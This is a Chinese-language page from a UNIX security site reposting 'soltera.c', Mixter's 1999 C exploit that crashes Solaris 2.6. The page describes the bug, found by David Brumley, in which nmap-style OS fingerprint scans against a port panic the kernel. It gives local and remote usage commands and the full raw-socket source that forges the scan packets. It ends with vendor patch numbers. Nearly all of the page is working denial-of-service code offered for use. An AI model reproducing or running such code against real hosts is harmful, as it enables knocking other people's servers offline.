![[ 永远的UNIX::UNIX技术资料的宝库 ]](/images/title.gif)
|
| 首页 > 安全技术 > 系统 > 正文 |
 |
| Solaris 2.6存在的拒绝服务问题(一个可以造成系统崩溃的程序) |
| 本文出自:绿色兵团 作者: (2001-10-02 08:00:00) |
David Brumley以前发现在使用nmap V2.08的时候,如果选用了系统识别可以
造成solaris的内核混乱,具体过程是:选择一个正在使用的端口来进行系统识别,
就可以将服务器当掉,这个过程对服务器或端口并没什么特殊要求,只要是个TCP
端口就可以了。
'Mixter'开发了一个程序,它可以造成Solaris 2.6(也可能包括其他版本)
的系统崩溃。
本地用户执行方法:#soltera
远程用户执行方法:#soltera <ip> <port>
/* soltera.c - (c) Sep 1999 by Mixter
* Local / Remote DoS against Solaris 2.6 (other versions?)
*
* Description: nmap fingerprint scans against any daemon that
* terminates right after the scans are able to produce a kernel
* panic on Solaris 2.6. (found by D.Brumley)
* Local exploit: this program will create, scan and kill a listening
* server. Just run it without arguments.
* Remote exploit: soltera <ip> <port> - this _might_ work for a
* service started again by inetd for every new session.
* +++ root priviledges are needed for the fingerprinting +++
*/
#define PORT 0xC0D3
#define ANS "["
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <errno.h>
#include <signal.h>
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) +
(min))
void server(int);
void fakeosscan(u_long, int);
unsigned long int inet_addr(const char *cp);
typedef u_int32_t tcp_seq;
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned long int htonl(unsigned long int hostlong)
{return(hostlong);}
unsigned short int htons(unsigned short int hostshort)
{return(hostshort);}
#endif
struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t ihl:4;
u_int8_t version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int8_t version:4;
u_int8_t ihl:4;
#else
#error "Please fix <bytesex.h>"
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
};
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
tcp_seq seq;
tcp_seq ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t th_x2:4;
u_int8_t th_off:4;
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
u_int8_t th_off:4;
u_int8_t th_x2:4;
#endif
u_int8_t th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_BOG 64
u_int16_t th_win;
u_int16_t check;
u_int16_t th_urp;
};
unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
int
main (int ac, char **av)
{
int p = PORT, pid;
u_long ia;
if(getuid()) {
printf("You need root to run this program successfully, sorry.\n");
exit(0);
}
if(ac < 2 || !(ia=inet_addr(av[1])))
{
printf(ANS "0;32m[using ip 127.0.0.1]\n");
ia=inet_addr("127.0.0.1");
} else printf(ANS "0;32m[using ip %s]\n",av[1]);
if(ac>=3) if(atoi(av[2])) p=atoi(av[2]);
printf(ANS "0;34m[using port %d]\n",p);
pid=fork();
if(!pid) server(p);
sleep(3);
fakeosscan(ia,p);
if (kill(pid,SIGKILL)==-1) printf(ANS "0;31mFAILED to kill server:
%s\n",strerror(errno));
else printf(ANS "0;31m[server (pid: %d) killed]\n",pid);
sleep(3);
fakeosscan(ia,p);
sleep(10);
printf(ANS "0;35m[all done]%s0;0m\n",ANS);
return 0;
}
void server(int port)
{
int c, e = sizeof (struct sockaddr_in);
struct sockaddr_in l, r;
l.sin_family = AF_INET;
l.sin_port = htons (port);
l.sin_addr.s_addr = INADDR_ANY;
memset(l.sin_zero,0,8);
c = socket (AF_INET, SOCK_STREAM, 0);
bind (c, (struct sockaddr *) &l, sizeof (struct sockaddr));
listen (c, 0xFF);
printf(ANS "1;33m[server listening on port %d]\n",port);
while(accept(c, (struct sockaddr *) &r, &e));
}
void fakeosscan(u_long ip, int port)
{
int r = socket(AF_INET, SOCK_RAW, IPPROTO_RAW),i;
int orig = getrandom(1024,65534);
char synb[8192];
struct sockaddr_in sin;
struct iphdr *ih = (struct iphdr *) synb;
struct tcphdr *th = (struct tcphdr *) (synb + sizeof (struct
iphdr));
u_long seq = random();
char *eoh = (synb + sizeof (struct iphdr) + sizeof (struct tcphdr));
char options[32];
int optlen = 20;
printf(ANS "1;30m[initiating fingerprinting simulation on port
%d]\n",port);
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = ip;
ih->version = 4;
ih->ihl = 5;
ih->tos = 0x00;
ih->id = htons (random ());
ih->frag_off = 0;
ih->ttl = getrandom(0,255);
ih->protocol = IPPROTO_TCP;
ih->check = 0;
ih->saddr = 0;
ih->daddr = ip;
th->source = htons(orig);
th->dest = htons(port);
th->seq = seq;
th->ack_seq = 0;
th->th_flags = 0;
th->th_win = htons(1024 * (ih->ttl % 4 + 1));
th->check = 0;
th->th_urp = 0;
/* packet 1 */
memset(eoh,0,20);
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen /4);
th->th_flags = TH_BOG|TH_SYN;
strcpy(options,"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000");
memcpy(eoh,options,optlen);
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct
tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) +
optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0,
&sin, sizeof (sin));
/* packet 2 */
memset(eoh,0,20);
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen /4);
th->th_flags = 0;
th->source++;
strcpy(options,"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000");
memcpy(eoh,options,optlen);
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct
tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) +
optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0,
&sin, sizeof (sin));
/* packet 3 */
memset(eoh,0,20);
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen /4);
th->th_flags = TH_SYN|TH_FIN|TH_URG|TH_PUSH;
th->source++;
strcpy(options,"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000");
memcpy(eoh,options,optlen);
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct
tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) +
optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0,
&sin, sizeof (sin));
/* packet 4 */
memset(eoh,0,20);
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen /4);
th->th_flags = TH_ACK;
th->source++;
strcpy(options,"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000");
memcpy(eoh,options,optlen);
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct
tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) +
optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0,
&sin, sizeof (sin));
/* packet 5 */
memset(eoh,0,20);
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen /4);
th->th_flags = TH_SYN;
th->source++;
strcpy(options,"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000");
memcpy(eoh,options,optlen);
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct
tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) +
optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0,
&sin, sizeof (sin));
/* packet 6 */
memset(eoh,0,20);
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen /4);
th->th_flags = TH_ACK;
th->source++;
strcpy(options,"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000");
memcpy(eoh,options,optlen);
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct
tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) +
optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0,
&sin, sizeof (sin));
/* guess */
memset(eoh,0,20);
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen /4);
th->th_flags = TH_FIN|TH_PUSH|TH_URG;
th->source++;
strcpy(options,"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000");
memcpy(eoh,options,optlen);
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct
tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) +
optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0,
&sin, sizeof (sin));
/* we omit the udp stuff */
/* blah */
optlen = 0;
memset(eoh,0,20);
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen /4);
th->th_flags = TH_SYN;
for(i=0;i<=6;i++)
{
usleep(31337);
th->source=orig+i;
th->seq=seq+i;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct
tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) +
optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0,
&sin, sizeof (sin));
}
close(r);
}
解决办法:
patch 105529-07 (for sparc)
patch 105530 (for X86)
(http://www.fanqiang.com)
进入【UNIX论坛】
|
|
| 相关文章 |
Solaris 2.6存在的拒绝服务问题(一个可以造成系统崩溃的程序) (2001-10-02 08:00:00) Proftpd 记忆体泄漏拒绝服务攻击漏洞 (2001-05-20 22:08:00) HTTP协议Content Lenth限制漏洞导致拒绝服务攻击 (2001-05-20 10:08:01) 拒绝服务攻击原理及解决方法 (2001-04-19 16:09:48)
|
|
|
|
 |
★ 樊强制作 欢迎分享 ★ |